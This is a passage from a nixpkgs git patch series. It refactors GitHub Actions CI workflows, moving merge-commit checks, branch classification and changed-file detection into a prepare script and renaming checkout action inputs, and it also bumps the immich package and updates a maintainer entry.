-description: 'Checks whether the Pull Request is mergeable and checks out the repo at up to two commits: The result of a temporary merge of the head branch into the target branch ("merged"), and the parent of that commit on the target branch ("target"). Handles push events and merge conflicts gracefully.'
-
-inputs:
-  mergedSha:
-    description: "The merge commit SHA, previously collected."
-    type: string
-  merged-as-untrusted:
-    description: "Whether to checkout the merge commit in the ./untrusted folder."
-    type: boolean
-  pinnedFrom:
-    description: "Whether to checkout the pinned nixpkgs for CI and from where (trusted, untrusted)."
-    type: string
-  targetSha:
-    description: "The target commit SHA, previously collected."
-    type: string
-  target-as-trusted:
-    description: "Whether to checkout the target commit in the ./trusted folder."
-    type: boolean
-
-outputs:
-  mergedSha:
-    description: "The merge commit SHA"
-    value: ${{ steps.commits.outputs.mergedSha }}
-  targetSha:
-    description: "The target commit SHA"
-    value: ${{ steps.commits.outputs.targetSha }}
-
-runs:
-  using: composite
-  steps:
-    - id: commits
-      if: ${{ !inputs.mergedSha && !inputs.targetSha }}
-      uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-      with:
-        script: |
-          require('./ci/github-script/prepare.js')({
-            github,
-            context,
-            core,
-          })
-
-    - if: inputs.merged-as-untrusted && (inputs.mergedSha || steps.commits.outputs.mergedSha)
-      # Would be great to do the checkouts in git worktrees of the existing spare checkout instead,
-      # but Nix is broken with them:
-      # https://github.com/NixOS/nix/issues/6073
-      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
-      with:
-        ref: ${{ inputs.mergedSha || steps.commits.outputs.mergedSha }}
-        path: untrusted
-
-    - if: inputs.target-as-trusted && (inputs.targetSha || steps.commits.outputs.targetSha)
-      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
-      with:
-        ref: ${{ inputs.targetSha || steps.commits.outputs.targetSha }}
-        path: trusted
-
-    - if: inputs.pinnedFrom
-      id: pinned
-      uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-      env:
-        PINNED_FROM: ${{ inputs.pinnedFrom }}
-      with:
-        script: |
-          const path = require('node:path')
-          const pinned = require(path.resolve(path.join(process.env.PINNED_FROM, 'ci', 'pinned.json')))
-          core.setOutput('pinnedSha', pinned.pins.nixpkgs.revision)
-
-    - if: steps.pinned.outputs.pinnedSha
-      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
-      with:
-        ref: ${{ steps.pinned.outputs.pinnedSha }}
-        path: pinned
-        sparse-checkout: |
-          lib
-          maintainers
-          nixos/lib
-          pkgs
-
diff --git a/.github/workflows/README.md b/.github/workflows/README.md
index 10b0276be144..2c739bd56129 100644
--- a/.github/workflows/README.md
+++ b/.github/workflows/README.md
@@ -17,7 +17,7 @@ Some architectural notes about key decisions and concepts in our workflows:
   This is a temporary commit that GitHub creates automatically as "what would happen, if this PR was merged into the base branch now?".
   The checkout could be done via the virtual branch `refs/pull/<pr-number>/merge`, but doing so would cause failures when this virtual branch doesn't exist (anymore).
   This can happen when the PR has conflicts, in which case the virtual branch is not created, or when the PR is getting merged while workflows are still running, in which case the branch won't exist anymore at the time of checkout.
-  Thus, we use the `get-merge-commit.yml` workflow to check whether the PR is mergeable and the test merge commit exists and only then run the relevant jobs.
+  Thus, we use the `prepare` job to check whether the PR is mergeable and the test merge commit exists and only then run the relevant jobs.
 
 - Various workflows need to make comparisons against the base branch.
   In this case, we checkout the parent of the "test merge commit" for best results.
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index ef3c71ca4fbe..d8fe8272d625 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -47,11 +47,10 @@ jobs:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
+      - name: Checkout the merge commit
+        uses: ./.github/actions/checkout
         with:
-          mergedSha: ${{ inputs.mergedSha }}
-          merged-as-untrusted: true
+          merged-as-untrusted-at: ${{ inputs.mergedSha }}
           pinnedFrom: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index c06729fa7f5d..aca22eddff6b 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -99,14 +99,12 @@ jobs:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge and target commits
-        uses: ./.github/actions/get-merge-commit
+      - name: Checkout merge and target commits
+        uses: ./.github/actions/checkout
         with:
-          mergedSha: ${{ inputs.mergedSha }}
-          merged-as-untrusted: true
+          merged-as-untrusted-at: ${{ inputs.mergedSha }}
           pinnedFrom: trusted
-          targetSha: ${{ inputs.targetSha }}
-          target-as-trusted: true
+          target-as-trusted-at: ${{ inputs.targetSha }}
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index a89f2e4d5f9b..a92e64de6715 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -88,10 +88,9 @@ jobs:
         with:
           sparse-checkout: .github/actions
       - name: Check out the PR at the test merge commit
-        uses: ./.github/actions/get-merge-commit
+        uses: ./.github/actions/checkout
         with:
-          mergedSha: ${{ inputs.mergedSha }}
-          merged-as-untrusted: true
+          merged-as-untrusted-at: ${{ inputs.mergedSha }}
           pinnedFrom: untrusted
 
       - name: Install Nix
@@ -206,10 +205,9 @@ jobs:
         with:
           sparse-checkout: .github/actions
       - name: Check out the PR at the target commit
-        uses: ./.github/actions/get-merge-commit
+        uses: ./.github/actions/checkout
         with:
-          targetSha: ${{ inputs.targetSha }}
-          target-as-trusted: true
+          target-as-trusted-at: ${{ inputs.targetSha }}
           pinnedFrom: trusted
 
       - name: Download output paths and eval stats for all systems
@@ -375,11 +373,10 @@ jobs:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
+      - name: Checkout the merge commit
+        uses: ./.github/actions/checkout
         with:
-          mergedSha: ${{ inputs.mergedSha }}
-          merged-as-untrusted: true
+          merged-as-untrusted-at: ${{ inputs.mergedSha }}
 
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 44cb7fe7bada..817f42d496ad 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -24,11 +24,10 @@ jobs:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
+      - name: Checkout the merge commit
+        uses: ./.github/actions/checkout
         with:
-          mergedSha: ${{ inputs.mergedSha }}
-          merged-as-untrusted: true
+          merged-as-untrusted-at: ${{ inputs.mergedSha }}
           pinnedFrom: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
@@ -56,11 +55,10 @@ jobs:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
+      - name: Checkout the merge commit
+        uses: ./.github/actions/checkout
         with:
-          mergedSha: ${{ inputs.mergedSha }}
-          merged-as-untrusted: true
+          merged-as-untrusted-at: ${{ inputs.mergedSha }}
           pinnedFrom: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
@@ -77,14 +75,12 @@ jobs:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout merged and target commits
-        uses: ./.github/actions/get-merge-commit
+      - name: Checkout merge and target commits
+        uses: ./.github/actions/checkout
         with:
-          mergedSha: ${{ inputs.mergedSha }}
-          merged-as-untrusted: true
+          merged-as-untrusted-at: ${{ inputs.mergedSha }}
           pinnedFrom: untrusted
-          targetSha: ${{ inputs.targetSha }}
-          target-as-trusted: true
+          target-as-trusted-at: ${{ inputs.targetSha }}
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 1de7d6614c9c..a2636d75022f 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -3,7 +3,7 @@ name: PR
 on:
   pull_request:
     paths:
-      - .github/actions/get-merge-commit/action.yml
+      - .github/actions/checkout/action.yml
       - .github/workflows/build.yml
       - .github/workflows/check.yml
       - .github/workflows/eval.yml
@@ -25,21 +25,24 @@ jobs:
     outputs:
       baseBranch: ${{ steps.branches.outputs.base }}
       headBranch: ${{ steps.branches.outputs.head }}
-      mergedSha: ${{ steps.get-merge-commit.outputs.mergedSha }}
-      targetSha: ${{ steps.get-merge-commit.outputs.targetSha }}
+      mergedSha: ${{ steps.prepare.outputs.mergedSha }}
+      targetSha: ${{ steps.prepare.outputs.targetSha }}
       systems: ${{ steps.systems.outputs.systems }}
       touched: ${{ steps.files.outputs.touched }}
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
           sparse-checkout: |
-            .github/actions
             ci/github-script
-            ci/supportedBranches.js
-            ci/supportedSystems.json
-      - name: Check if the PR can be merged and get the test merge commit
-        uses: ./.github/actions/get-merge-commit
-        id: get-merge-commit
+      - id: prepare
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            require('./ci/github-script/prepare.js')({
+              github,
+              context,
+              core,
+            })
 
       - name: Load supported systems
         id: systems

From 70fc919bde014d1b33fa341abd594e40e0ea77f8 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 18 Aug 2025 21:03:25 +0200
Subject: [PATCH 3701/4511] actions/checkout: rename inconsistent pinned-from
 input

(cherry picked from commit 7ab632b30f6d53ede5ed1fc6ac8318d2e656e972)
---
 .github/actions/checkout/action.yml | 12 ++++++------
 .github/workflows/build.yml         |  2 +-
 .github/workflows/check.yml         |  2 +-
 .github/workflows/eval.yml          |  4 ++--
 .github/workflows/lint.yml          |  6 +++---
 5 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/.github/actions/checkout/action.yml b/.github/actions/checkout/action.yml
index e3c592f6e53a..751eef7600cd 100644
--- a/.github/actions/checkout/action.yml
+++ b/.github/actions/checkout/action.yml
@@ -6,7 +6,7 @@ inputs:
   merged-as-untrusted-at:
     description: "Whether and which SHA to checkout for the merge commit in the ./untrusted folder."
     type: boolean
-  pinnedFrom:
+  pinned-from:
     description: "Whether to checkout the pinned nixpkgs for CI and from where (trusted, untrusted)."
     type: string
   target-as-trusted-at:
@@ -31,21 +31,21 @@ runs:
         ref: ${{ inputs.target-as-trusted-at }}
         path: trusted
 
-    - if: inputs.pinnedFrom
+    - if: inputs.pinned-from
       id: pinned
       uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
       env:
-        PINNED_FROM: ${{ inputs.pinnedFrom }}
+        PINNED_FROM: ${{ inputs.pinned-from }}
       with:
         script: |
           const path = require('node:path')
           const pinned = require(path.resolve(path.join(process.env.PINNED_FROM, 'ci', 'pinned.json')))
-          core.setOutput('pinnedSha', pinned.pins.nixpkgs.revision)
+          core.setOutput('pinned-at', pinned.pins.nixpkgs.revision)
 
-    - if: steps.pinned.outputs.pinnedSha
+    - if: steps.pinned.outputs.pinned-at
       uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
       with:
-        ref: ${{ steps.pinned.outputs.pinnedSha }}
+        ref: ${{ steps.pinned.outputs.pinned-at }}
         path: pinned
         sparse-checkout: |
           lib
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index d8fe8272d625..9cfc329107ad 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -51,7 +51,7 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinnedFrom: untrusted
+          pinned-from: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
         with:
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index aca22eddff6b..dcbc5af199b8 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -103,7 +103,7 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinnedFrom: trusted
+          pinned-from: trusted
           target-as-trusted-at: ${{ inputs.targetSha }}
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index a92e64de6715..c19549a4eb47 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -91,7 +91,7 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinnedFrom: untrusted
+          pinned-from: untrusted
 
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
@@ -208,7 +208,7 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           target-as-trusted-at: ${{ inputs.targetSha }}
-          pinnedFrom: trusted
+          pinned-from: trusted
 
       - name: Download output paths and eval stats for all systems
         uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5.0.0
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 817f42d496ad..97387126eb57 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -28,7 +28,7 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinnedFrom: untrusted
+          pinned-from: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
@@ -59,7 +59,7 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinnedFrom: untrusted
+          pinned-from: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
@@ -79,7 +79,7 @@ jobs:
         uses: ./.github/actions/checkout
         with:
           merged-as-untrusted-at: ${{ inputs.mergedSha }}
-          pinnedFrom: untrusted
+          pinned-from: untrusted
           target-as-trusted-at: ${{ inputs.targetSha }}
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31

From 51298d2e28f9b1e790fb7297926b552a839a3f0d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 18 Aug 2025 21:49:29 +0200
Subject: [PATCH 3702/4511] ci/github-script/prepare: load systems

(cherry picked from commit 9caf45544114ed16710374b9d107ed14767f7f51)
---
 .github/workflows/pr.yml    | 7 +------
 ci/github-script/prepare.js | 3 +++
 2 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index a2636d75022f..d22641c085ad 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -27,7 +27,7 @@ jobs:
       headBranch: ${{ steps.branches.outputs.head }}
       mergedSha: ${{ steps.prepare.outputs.mergedSha }}
       targetSha: ${{ steps.prepare.outputs.targetSha }}
-      systems: ${{ steps.systems.outputs.systems }}
+      systems: ${{ steps.prepare.outputs.systems }}
       touched: ${{ steps.files.outputs.touched }}
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
@@ -44,11 +44,6 @@ jobs:
               core,
             })
 
-      - name: Load supported systems
-        id: systems
-        run: |
-          echo "systems=$(jq -c <ci/supportedSystems.json)" >> "$GITHUB_OUTPUT"
-
       - name: Determine branch type
         id: branches
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index 96f433126785..bd1457249a27 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -49,6 +49,9 @@ module.exports = async ({ github, context, core }) => {
     )
     core.setOutput('mergedSha', mergedSha)
     core.setOutput('targetSha', targetSha)
+
+    core.setOutput('systems', require('../supportedSystems.json'))
+
     return
   }
   throw new Error(

From 5b6133762099874b2a9b2bc354c538b969aa1012 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 18 Aug 2025 21:53:55 +0200
Subject: [PATCH 3703/4511] ci/github-script/prepare: classify branches

(cherry picked from commit 4220a03df8744ded7a6594a940a3316d4ff5e702)
---
 .github/workflows/pr.yml    | 24 ++----------------------
 ci/github-script/prepare.js | 18 +++++++++++++++++-
 2 files changed, 19 insertions(+), 23 deletions(-)

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index d22641c085ad..51b0d41ddf1d 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -23,8 +23,8 @@ jobs:
   prepare:
     runs-on: ubuntu-24.04-arm
     outputs:
-      baseBranch: ${{ steps.branches.outputs.base }}
-      headBranch: ${{ steps.branches.outputs.head }}
+      baseBranch: ${{ steps.prepare.outputs.base }}
+      headBranch: ${{ steps.prepare.outputs.head }}
       mergedSha: ${{ steps.prepare.outputs.mergedSha }}
       targetSha: ${{ steps.prepare.outputs.targetSha }}
       systems: ${{ steps.prepare.outputs.systems }}
@@ -44,26 +44,6 @@ jobs:
               core,
             })
 
-      - name: Determine branch type
-        id: branches
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        with:
-          script: |
-            const { classify } = require('./ci/supportedBranches.js')
-            const { base, head } = context.payload.pull_request
-
-            const baseClassification = classify(base.ref)
-            core.setOutput('base', baseClassification)
-            core.info('base classification:', baseClassification)
-
-            const headClassification =
-              (base.repo.full_name == head.repo.full_name) ?
-              classify(head.ref) :
-              // PRs from forks are always considered WIP.
-              { type: ['wip'] }
-            core.setOutput('head', headClassification)
-            core.info('head classification:', headClassification)
-
       - name: Determine changed files
         id: files
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index bd1457249a27..1f56a502ca8a 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -1,3 +1,5 @@
+const { classify } = require('../supportedBranches.js')
+
 module.exports = async ({ github, context, core }) => {
   const pull_number = context.payload.pull_request.number
 
@@ -20,6 +22,8 @@ module.exports = async ({ github, context, core }) => {
       continue
     }
 
+    const { base, head } = prInfo
+
     let mergedSha, targetSha
 
     if (prInfo.mergeable) {
@@ -39,7 +43,7 @@ module.exports = async ({ github, context, core }) => {
       targetSha = (
         await github.rest.repos.compareCommitsWithBasehead({
           ...context.repo,
-          basehead: `${prInfo.base.sha}...${prInfo.head.sha}`,
+          basehead: `${base.sha}...${head.sha}`,
         })
       ).data.merge_base_commit.sha
     }
@@ -52,6 +56,18 @@ module.exports = async ({ github, context, core }) => {
 
     core.setOutput('systems', require('../supportedSystems.json'))
 
+    const baseClassification = classify(base.ref)
+    core.setOutput('base', baseClassification)
+    core.info('base classification:', baseClassification)
+
+    const headClassification =
+      base.repo.full_name === head.repo.full_name
+        ? classify(head.ref)
+        : // PRs from forks are always considered WIP.
+          { type: ['wip'] }
+    core.setOutput('head', headClassification)
+    core.info('head classification:', headClassification)
+
     return
   }
   throw new Error(

From 9b0135b3477b07c53dcf0c58dfe0963e5e2e96e4 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 18 Aug 2025 21:56:02 +0200
Subject: [PATCH 3704/4511] ci/github-script/prepare: determine changed files

(cherry picked from commit 46a1b0a7bc7a424a84f7660f31ab205ddee68368)
---
 .github/workflows/pr.yml    | 16 +---------------
 ci/github-script/prepare.js | 11 +++++++++++
 2 files changed, 12 insertions(+), 15 deletions(-)

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 51b0d41ddf1d..a09c51eeae7e 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -28,7 +28,7 @@ jobs:
       mergedSha: ${{ steps.prepare.outputs.mergedSha }}
       targetSha: ${{ steps.prepare.outputs.targetSha }}
       systems: ${{ steps.prepare.outputs.systems }}
-      touched: ${{ steps.files.outputs.touched }}
+      touched: ${{ steps.prepare.outputs.touched }}
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
@@ -44,20 +44,6 @@ jobs:
               core,
             })
 
-      - name: Determine changed files
-        id: files
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        with:
-          script: |
-            const files = (await github.paginate(github.rest.pulls.listFiles, {
-              ...context.repo,
-              pull_number: context.payload.pull_request.number,
-              per_page: 100,
-            })).map(file => file.filename)
-
-            if (files.includes('ci/pinned.json')) core.setOutput('touched', ['pinned'])
-            else core.setOutput('touched', [])
-
   check:
     name: Check
     needs: [prepare]
diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index 1f56a502ca8a..d47dd86308dd 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -68,6 +68,17 @@ module.exports = async ({ github, context, core }) => {
     core.setOutput('head', headClassification)
     core.info('head classification:', headClassification)
 
+    const files = (
+      await github.paginate(github.rest.pulls.listFiles, {
+        ...context.repo,
+        pull_number: context.payload.pull_request.number,
+        per_page: 100,
+      })
+    ).map((file) => file.filename)
+
+    if (files.includes('ci/pinned.json')) core.setOutput('touched', ['pinned'])
+    else core.setOutput('touched', [])
+
     return
   }
   throw new Error(

From 1e8419b52e69ca0189a41e83f71329ccaaabe1f1 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 17:59:27 +0200
Subject: [PATCH 3705/4511] ci/github-script/prepare: fix logging of branch
 classification

Logging objects to stdout is not possible with `core.info`, so we
fallback to `console.log` instead. There's no functional difference for
these anyway.

(cherry picked from commit f94fd64d53b9b5ca371bbd908a70b719beec3d90)
---
 ci/github-script/prepare.js | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index d47dd86308dd..fb000cb6820a 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -58,7 +58,7 @@ module.exports = async ({ github, context, core }) => {
 
     const baseClassification = classify(base.ref)
     core.setOutput('base', baseClassification)
-    core.info('base classification:', baseClassification)
+    console.log('base classification:', baseClassification)
 
     const headClassification =
       base.repo.full_name === head.repo.full_name
@@ -66,7 +66,7 @@ module.exports = async ({ github, context, core }) => {
         : // PRs from forks are always considered WIP.
           { type: ['wip'] }
     core.setOutput('head', headClassification)
-    core.info('head classification:', headClassification)
+    console.log('head classification:', headClassification)
 
     const files = (
       await github.paginate(github.rest.pulls.listFiles, {

From 599c6c4e7fde7a0d2d2dca8f4250f326b3ff6cd2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 18:03:41 +0200
Subject: [PATCH 3706/4511] workflows/pr.prepare: specify cone mode explicitly

This is the default, but who's supposed to know about that? Let's make
it explicit to be clear about the availability of files in `ci/`.

(cherry picked from commit f35d1cd2cc4e703530a003e2e6d4ea08d40cab8e)
---
 .github/workflows/pr.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index a09c51eeae7e..80deea95624c 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -32,6 +32,7 @@ jobs:
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
+          sparse-checkout-cone-mode: true # default, for clarity
           sparse-checkout: |
             ci/github-script
       - id: prepare

From 1d5b0b9e95539ec5af44def19c215f4a99850f52 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 18:52:20 +0200
Subject: [PATCH 3707/4511] actions/checkout: remove unused input types

The two as-at inputs, were not boolean anymore, but GHA didn't complain.
Input types are actually not a thing for composite actions - they are
only documented for callable workflows.

(cherry picked from commit f01b6b4754c46d89f40e5d4be5539ad066558dd7)
---
 .github/actions/checkout/action.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/.github/actions/checkout/action.yml b/.github/actions/checkout/action.yml
index 751eef7600cd..a07edb097d7b 100644
--- a/.github/actions/checkout/action.yml
+++ b/.github/actions/checkout/action.yml
@@ -5,13 +5,10 @@ description: 'Checkout into trusted / untrusted / pinned folders consistently.'
 inputs:
   merged-as-untrusted-at:
     description: "Whether and which SHA to checkout for the merge commit in the ./untrusted folder."
-    type: boolean
   pinned-from:
     description: "Whether to checkout the pinned nixpkgs for CI and from where (trusted, untrusted)."
-    type: string
   target-as-trusted-at:
     description: "Whether and which SHA to checkout for the target commit in the ./trusted folder."
-    type: boolean
 
 runs:
   using: composite

From 963609cbda557356442f940d8c19cdd2fbef36c4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Mon, 18 Aug 2025 20:58:56 +0000
Subject: [PATCH 3708/4511] immich: 1.138.0 -> 1.138.1

https://github.com/immich-app/immich/releases/tag/v1.138.1
(cherry picked from commit 0439bc4c7705493a6e055d7b2fc5d918e4c479bb)
---
 pkgs/by-name/im/immich/sources.json | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 432bc9ff0cf2..70e02e44a510 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -1,26 +1,26 @@
 {
-  "version": "1.138.0",
-  "hash": "sha256-yOGqQMy2PdGlHAtfuLB74UokGIwzi3yCiaBOZ/Orsf0=",
+  "version": "1.138.1",
+  "hash": "sha256-oaZN0kF82mS25bDSTXRjYnWG9RAMSbCUhXn9t0am96U=",
   "components": {
     "cli": {
-      "npmDepsHash": "sha256-NFEAsy1SabGvQMX+k7jIuBLdfjhb3v9x1O2T9EbTPEM=",
-      "version": "2.2.78"
+      "npmDepsHash": "sha256-6k83QOdKh+FlVnYvA9j60115oohUMDc2YvGaj/GMukE=",
+      "version": "2.2.79"
     },
     "server": {
-      "npmDepsHash": "sha256-B/j4b0ETfM+K9v757egm1DUTynfnFHb8PVRFhxq1H5Y=",
-      "version": "1.138.0"
+      "npmDepsHash": "sha256-4sqWIIGQ8ZW7TvJoNjNNliriuV6Su0askAN6pAq9VFc=",
+      "version": "1.138.1"
     },
     "web": {
-      "npmDepsHash": "sha256-LkGeZPyfJ6wo1O5I13OL9Iz6mjRNXjTNOi5BVoQWQs4=",
-      "version": "1.138.0"
+      "npmDepsHash": "sha256-+W8cDgy3qe6RDen8SEdHPNADkKb4zZH8C/Am/bdU42c=",
+      "version": "1.138.1"
     },
     "open-api/typescript-sdk": {
-      "npmDepsHash": "sha256-n1OTaqwfVy3RB6hi2rRGGjSNXsrFRwZMSyKfEuYy57U=",
-      "version": "1.138.0"
+      "npmDepsHash": "sha256-GfmFPsnFu7l4EsnPDv4nj5KLkOz8nEJvMT1BE7zIQ3k=",
+      "version": "1.138.1"
     },
     "geonames": {
-      "timestamp": "20250815003647",
-      "hash": "sha256-GYO+fbdXC2z0scne9kh+JLpp7h9k2w0tkIcyYDbNusA="
+      "timestamp": "20250818205425",
+      "hash": "sha256-zZHAomW1C4qReFbhme5dkVnTiLw+jmhZhzuYvoBVBCY="
     }
   }
 }

From 6c3e70f0b5fe8563843bd65e0c0ce5dc1b37e2a2 Mon Sep 17 00:00:00 2001
From: C4 Patino <c4patino@gmail.com>
Date: Thu, 12 Jun 2025 10:58:04 -0500
Subject: [PATCH 3709/4511] maintainers: update c4thebomb -> c4patino and add
 gpg key

(cherry picked from commit aeac5ac60cfbc842689ad9ab8b70ec89889a0666)
---
 maintainers/maintainer-list.nix                          | 9 ++++-----
 .../networking/remote/teamviewer/default.nix             | 2 +-
 2 files changed, 5 insertions(+), 6 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 1d99109a5b5f..f9126e744e8c 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -3863,15 +3863,14 @@
     github = "c4f3z1n";
     githubId = 22820003;
   };
-  c4thebomb = {
+  c4patino = {
     name = "Ceferino Patino";
     email = "c4patino@gmail.com";
-    github = "c4thebomb";
+    github = "c4patino";
     githubId = 79673111;
     keys = [
-      {
